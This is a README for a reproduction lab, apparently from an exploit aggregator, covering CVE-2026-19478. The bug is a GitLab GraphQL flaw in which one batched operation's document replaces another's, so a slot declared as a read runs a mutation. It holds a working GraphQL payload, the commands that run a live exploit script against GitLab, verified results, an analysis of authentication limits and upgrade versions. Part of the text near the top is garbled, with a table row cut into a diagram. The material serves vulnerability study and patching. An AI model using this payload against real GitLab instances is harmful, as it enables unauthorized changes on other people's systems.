## https://sploitus.com/exploit?id=023A5628-2B1E-57C5-83BA-E3FB532E4A9C
# CVE-2026-19478 β GitLab GraphQL `@gl_introduced` cross-operation document swap
A reproduction lab for a batched-GraphQL operation-confusion bug in GitLab's
version-filter tracer. In a single multiplexed request, one operation's parsed
query document can be swapped in as another operation's, so a slot that declared
a harmless read ends up **executing a different slot's mutation**.
| | |
|---|---|
| **Affected** | 18.2 β >C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject β smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
```
**Corrected op2 payload** β the `@gl_introduced` directive only has to sit on a
**real** field so that, at parse time, `FutureFieldFilter` flips
`contain_future_fields` and arms the swap:
```graphql
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
```
Verified live result (`evidence/live_vuln.txt`): slot 1, which declared
`query { currentUser { username } }`, returns `{"data":{"starProject":{"count":"0"}}}`
and the project's star count moves `1 β 0`.
---
## 3. Running the PoCs
### PoC #1 β standalone root cause (no GitLab needed)
Isolates `Gitlab::Graphql::VersionFilter` in a tiny graphql-ruby app so the swap
is visible with zero GitLab noise. Loads the **real** upstream source.
```bash
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched # -> SAFE
```
### PoC #2 β live HTTP exploit against GitLab 19.2.2
```bash
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN= \
PROJECT_FULL_PATH=root/cve-lab-target \
bash harness/live_test.sh
```
The script reads the baseline star state, sends the two-operation batch, and
declares `VULNERABLE` if the read-declared slot 1 returns a `starProject`
payload (and/or the star count changes).
---
## 4. Impact β what actually reproduces here
This is where the lab's headline ("unauthenticated modify/delete") needs a
precise, tested reading.
### Authenticated: confirmed
With any token that has `api` scope, an operation that **declared a read**
executes a **write** (star count `1 β 0`, driven by a `query`-typed slot). The
directive-driven document swap is real and reproducible.
### Unauthenticated: mechanism fires, but the write is blocked
Sent tokenless, the swap **still fires** β the read slot does reach and resolve
`starProject`. But every GitLab mutation inherits `Mutations::BaseMutation`,
whose `self.authorized?` gate runs at execution time:
```ruby
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)
```
For an anonymous request `current_user` is `nil`, and `GlobalPolicy` does
`rule { anonymous }.policy { prevent :execute_graphql_mutation }`. Verified
directly in the running instance:
```
Ability.allowed?(nil, :execute_graphql_mutation, :global) => false
```
**The swap changes which document runs; it cannot change who runs it.** A sweep
of 10 batch arrangements (order, directive on field / subfield / inline fragment,
2- and 3-operation batches) unauthenticated: the hijacked slot hits the gate
every time and the star count never moves. The `Mutation` root exposes 276
fields, all `mount_mutation`, all inheriting the same gate β no ungated write
field exists.
### Why the standalone PoC *looks* unauthenticated
`src/common/demo_app.rb` has **no authorization layer at all** β its mutation
just writes. So PoC #1 demonstrates the *mechanism* (a read slot performing a
write) in an auth-free sandbox, which is exactly why it reads as
"unauthenticated." Real GitLab enforces the `execute_graphql_mutation` gate that
the demo omits. Net: the vulnerability (cross-operation confusion) is genuine and
fires pre-auth; the unauthenticated **write** is stopped by an authorization
control orthogonal to the bug. On this stock build, a no-credentials write is not
reachable β the advisory's unauthenticated-write wording holds only where
anonymous is granted `execute_graphql_mutation` (non-default policy / edition).
---
## 5. Mitigation
Upgrade to 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 or later. The fix (see the diff)
scopes the tracer's per-operation state to each operation's own document, so a
later operation in a batch can no longer overwrite an earlier one's execution
document.